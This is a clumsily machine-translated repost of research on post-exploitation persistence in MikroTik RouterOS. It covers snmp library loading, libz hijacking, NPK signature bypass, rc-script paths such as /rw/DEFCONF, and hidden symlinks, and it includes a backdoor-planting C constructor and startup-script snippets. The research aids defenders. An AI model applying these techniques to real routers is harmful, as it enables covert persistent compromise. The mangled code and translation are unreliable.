Shulou(Shulou.com)06/02 Report--

In this issue, the editor will bring you what the post-infiltration research on RouterOS is like. The article is rich in content and analyzes and narrates it from a professional point of view. I hope you can get something after reading this article.

RouterOS

Before you officially start talking about post-use, you need to know something about the general design of RouterOS. For our purposes, one of the most important things to understand is that everything on the system is a package. As shown in the figure below, you can see all the packages I installed on hAP.

Even standard Linux-y directories (such as / bin/, / lib/, / etc/) come from one package. The system package is specified.

The file format used by the package is NPK. Kirils Solovjovs created a chart in the description file format. Each NPK contains a squashfs section. At startup, the squashfs filesystem will be extracted and installed in the / pckg/ directory (or symlinked according to the installation method) (this is not entirely true for the system package, but we can ignore this).

Squashfs is read-only. As you can see from the image above, I can't touch / pckg/dhcp/lol files. This may give you the illusion that the entire system is read-only, but this is not the case. For example, / pckg/ is actually part of the read-write tmpfs space in / ram/.

In addition, the system's / flash/ directory points to persistent read-write storage. A lot of configuration information is stored there. In addition, only persistent storage users can access / flash/rw/disk/, is found in this space.

Although all of the system's executables appear to be in read-only space, there seems to be some read and write space that an attacker can manipulate, including tmpfs and persistent. The trick is to figure out how to use the space to implement and maintain execution.

Another important thing is that users don't actually have access to the real shell on RouterOS. In the screenshot above, it seems that I have a root shell. But this is only because I took advantage of the router and enabled the developer's back door. This is actually unlikely, so I want to thank the "magic" of the loophole.

If you are not familiar with the developer backdoor in RouterOS, here is a very brief overview: since RouterOS 3.x, the system has been designed to provide a root busybox shell accessible through telnet or ssh if there are specific files in a particular location of the system (that location has changed over the years). Assuming that a specific file exists, you can access busybox shell by logging in with the admin user and password devel.

As you can see in the video below, I created a specific file / pckg/option on RouterOS 6.41.4 by exploiting HackerFantastic's set tracefile vulnerability. The existence of this file makes backdoor access possible. When I log in as devel, then delete the file and log out, I can no longer access root shell.

Demo video attack comes from inside SNMP!

The snmp binaries (/ nova/bin/snmp) are part of the system package. However, there are a variety of other packages that want to add their own functionality to snmp. For example, the dhcp package. In the following figure, you can see that / pckg/dhcp has a / snmp/ subdirectory.

When the snmp binary starts, it traverses all the directories in / pckg/ and looks for the / nova/lib/snmp/ subdirectory. Any shared object in this subdirectory is passed to dlopen (), and then the shared object's autorun () is called.

Because the dhcp package is mounted read-only, an attacker cannot modify a loaded shared object. But / pckg/ is read-write, so attackers can introduce their own directory structure (for example, / pckg/snmp_xploit/nova/lib/snmp/). Any shared objects stored there will be loaded by snmp.

An attacker can hide in a process in a read-only space. But it is more useful when combined with vulnerabilities that can write files to disk, such as CVE-2019-3943 or CVE-2018-14847.

I wrote a PoC to illustrate the use case of CVE-2019-3943. In essence, authenticated attackers can use vulnerable directory traverses to create / pckg/ directory structures.

After creating a directory, the attacker needs to delete the shared object on disk. Fortunately, CVE-2019-3943 can do the same. Obviously, a real attacker can perform anything from a shared object, but for proof of concept, I created a 6.41 + backdoor file directly from the constructor.

PoC even stops and restarts the SNMP process to ensure that shared objects are loaded without restarting the system.

Because / pckg/ is in the tmpfs space, even if PoC does not delete the script, the directory structure created by the script will be deleted on restart.

Similar to the above, I found that I could get the system binaries from / flash/rw/lib to load the library. This is because / rw/lib/ is the first entry in the LD_LIBRARY_PATH environment variable.

The advantage of loading the library from / rw/lib/ is that because it is a persistent filespace, the shared object will remain the same after reboot. The only challenge is to figure out which library we want to hijack. The obvious choice is libc.so, because it ensures that it can be loaded anywhere. But RouterOS uses uClibc, and frankly, I don't want to deal with it.

Thank God, I stumbled upon this.

/ nova/bin/fileman loads libz. Fileman is a system binary that reads and writes from the user's / rw/disk directory through Winbox or Webfig. When the user navigates to the "Files" interface, it is executed, but after the user navigates away, it closes and sits idle for a minute.

To compile the malicious library, I simply download libz 1.2.11 and add this constructor to deflate.c:

Void _ attribute__ ((constructor)) lol (void) {int fork_result = fork (); if (fork_result = = 0) {execl ("/ bin/bash", "bash", "- c", "mkdir / pckg/option; mount-o bind / boot/ / pckg/option", (char *) 0); exit (0);}}

As you can see again, I just chose to create a backdoor file. For a proof of concept, I cross-compiled the new libz.so to MIPS big-endian (large-end byte order) so that I could test it on my hAP router.

Third, the proof of concept uses CVE-2019-3943 to create a "lib" directory and put the library on disk.

However, unlike SNMP attacks, / rw/lib/libz.so will continue to run after a restart and will actually be loaded very early in the startup sequence. This means that after each reboot, the backdoor file will be created at startup.

Signature verification

One of the more interesting things stored in / flash/ is the file in / flash/var/pdb/.

As it turns out, this is where RouterOS stores all the installed NPK files. The strange thing is that as root, they are all writable. I can tell you from my experience that you certainly don't want to rewrite the system package.

I was a little curious when I knew that I could break the entire system through the system package. What if I were more careful? What if I just rewrite the package's squashfs file system? Will it be installed?

I wrote a tool called modify_npk to test it. This tool is very simple and requires a valid MikroTik NPK (such as dude-6.44.5.npk) and a user-created squashfs. The tool removes the valid MikroTik squashfs section and inserts the user's malicious squashfs. In theory, modify_npk only needs a new internal squashfs to generate a perfect NPK.

The problem is that MikroTik enforces signature verification when installing the NPK package. If you try to install a modify_npk package, RouterOS will mark it as damaged and reject it. Refer to the wrasse.npk in the following log file:

We can't let other people install anything they want on these systems. But what if we install it from our own root shell?

In theory, RouterOS should always check the signature of the stored NPK before mounting the file system, because they are all read and write, right?

In the picture above, you can see that wrasse,bad signature has been successfully installed on the system and so on! Obviously, this means that the squashfs I created is already installed.

Of course, just installing squashfs is not enough, because the filesystem I created actually contains a rc script that will create a backdoor file at startup.

This is very useful because it persists after a reboot. Although, users can capture this particular attack by using the "check installation (Check Installation)" feature.

MikroTik quietly patched the bug in 6.42.1. It is said to be "silent" because I have not seen any specific releases or instructions, which indicates that they have decided to enforce signature verification every time they restart.

RC script

RouterOS uses the rc script to start the process after boot and clean up some processes during shutdown. The operating system has a traditional / etc/rc.d/run.d/ file structure, which we will discuss, but it also has (or has) other places to execute rc scripts.

/ flash/etc/

As mentioned earlier, RouterOS has a traditional / etc/ directory, but because this directory is read-only, attackers cannot modify or introduce scripts.

At first glance, it doesn't seem that useful as far as rc scripting is concerned. However, as Bignerd95 points out in his Chimay Red repository, you can create a / rc.d/run.d/ subdirectory in / flash/etc/ where any rc script stored will be treated as a normal rc script when it starts and shuts down.

In the following example, you can see that I created / flash/etc/rc.d/run.d/, and printed out the location of the s89lol script. After reboot, the script is executed and the developer backdoor is created.

This behavior was removed after 6.40.9. Until then, however, this was a very simple and convenient persistence mechanism.

/ rw/RESET

RouterOS has a bunch of scripts in / etc/rc.d/run.d/, but there are two I'd like to mention in particular. The first is S08config, because it contains the following logic in 6.40.5:

Elif [- f / rw/RESET]; then / bin/bash / rw/RESET rm-rf / rw/RESET

This means that if / rw/RESET exists, S08config will execute it as a bash script at startup. This is an obvious persistence mechanism. It is obvious that it was actually observed in opposition:

Users of this forum get the debugger package for MikroTik and are able to check some of the files that are used later. Here we can see that attackers use / rw/RESET to execute their / rw/info binaries. Maybe that's why MikroTik changed the behavior of S08config.

/ rw/DEFCONF

Similar to / rw/RESET, the contents of / rw/DEFCONF can be executed through the eval statement in S12defconf.

Defcf=$ (cat / rw/DEFCONF) echo > / ram/defconf-paramsif [- f / nova/bin/flash]; then / nova/bin/flash-- fetch-defconf-params / ram/defconf-paramsfi (eval $(cat / ram/defconf-params) action=apply / bin/gosh "$defcf"; cp "$defcf" $confirm; rm / rw/DEFCONF / ram/defconf-params) &

This was first introduced in 6.40.1, but unlike / rw/RESET, it has not been fixed in 6.45.3. In fact, this is the method that Cleaner Wrasse uses to establish restart persistence on the router. I wrote a PoC using CVE-2019-3943 to demonstrate how remote authentication attackers abuse / rw/DEFCONF to implement backdoors and establish persistence.

/ pckg/

As we saw in the signature verification section of this article, each package of / pckg/ can have a / etc/rc.d/run.d/ directory that contains rc scripts. / pckg/ is part of tmpfs, so anything created by an attacker in / pckg/ will not persist after a reboot, but the new rc script will be executed on shutdown.

Does this work? One point about / rw/DEFCONF that I haven't mentioned to you before is that its presence on the system can cause login problems. Cleaner Wrasse avoids this problem by temporarily storing a file in / rw/.lol and then creating a rc script in / pckg/, which creates a / rw/DEFCONF file when closed. In this way, Cleaner Wrasse can avoid login problems, but make sure it exists when the system starts again.

Symbolic link

Many of the PoC I mentioned in this article use the CVE-2019-3943 vulnerability, but it was patched in May 2019 (6.43.15 Long-term). Unless you use Kirilis Solojov's USB jailbreak, there are no more exposed ways to enable backdoor files and root devices. So how do I do that?

The answer is simple. When I was still able to exploit the router using the CVE-2019-3943 vulnerability, I created a hidden symbolic link in the / rw/disk directory of the root user.

After the upgrade, simply FTP into the router and traverse the symbolic link to root. From there you can implement execution in one of the many ways you want. In the following figure, I put libz.so in / rw/lib/ to enable the back door.

RouterOS does not provide a way for ordinary users to create symbolic links, so you can only do so by using it. However, RouterOS does not attempt to delete symbolic links. As long as this is the case, we can continue to use the surviving symbolic links to rebuild the root shell after the upgrade.

Neither Winbox nor Webfig shows hidden files. It is necessary to occasionally check the user directory through FTP to make sure there is nothing hidden in it.

So what happened here?

I have shared a lot of ways to implement execution. So when I stumbled upon this, I was a little confused:

The picture above is from the first public report of CVE-2018-14847. Before it had CVE. Before it was discovered by MikroTik. A user popped up on the MikroTik forum and asked questions about potential Winbox vulnerabilities (a strange login and suspicious file was found on their device). The picture above comes from a bash script called save.sh that they found.

I've shown you in this article that attackers don't need to store anything in the only directory that users can access. However, this is exactly what the attacker did. / flash/rw/pckg/ is a symbolic link to the user's / flash/rw/disk/ directory. The consequences also forced MikroTik to make some enhancements.

Repair

That's for sure! All the problems mentioned in this article have been fixed so far. The fix can be achieved with a few minor modifications or avoiding performing everything as root. Defense in depth is important, but sometimes it is not a high priority. I don't expect any major changes in the future, but I hope MikroTik can make some small defense depth improvements to its development plan.

The above is what the post-infiltration research of RouterOS is like. If you happen to have similar doubts, you might as well refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.